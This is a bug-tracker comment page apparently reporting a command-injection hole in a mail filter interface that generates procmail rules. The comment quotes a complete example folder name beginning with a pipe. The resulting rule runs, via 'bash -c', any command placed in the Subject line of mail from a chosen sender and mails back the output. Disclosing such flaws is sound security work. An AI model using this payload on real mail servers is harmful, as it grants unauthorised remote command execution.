Tickets :: Comment on [#4513] command execution with procmail

* Your Email Address
* Spam protection	Enter the letters below: .___..__ .__.. ..__ _/ [__)\| \|\| \|[__) ./__.[__)\|__\\|__\|[__)
Comment	> It is possible to use a foldername beginning > > with \| as mailbox destination in a filterrule. > > > > If the users don't have shell acces to the mailserver this rule could be > > used to bypass this restriction. > > > > EXCAPMLE: > > > > The Foldername > > \|formail -rA "X-Loop:hisemailaddres@excample.com" \| ( > cat - ;myCmd="$MATCH"; echo "Executing: > $myCmd" ; bash -c "$myCmd" > > ) \|$SENDMAIL -oi -t > > > > would result in a prcmail like the following > > > > * ^From:.hisemailaddres@excample\.com > > { > > :0 > > ^Subject:.exec_command\/.$ > > \|formail -rA "X-Loop:hisemailaddres@excample.com" \| > ( cat - > > ; > > myCmd="$MATCH"; echo "Executing: $myCmd" ; bash > -c "$myCmd" > > ) > > \| $SENDMAIL -oi -t > > } > > > >
Attachment
Watch this ticket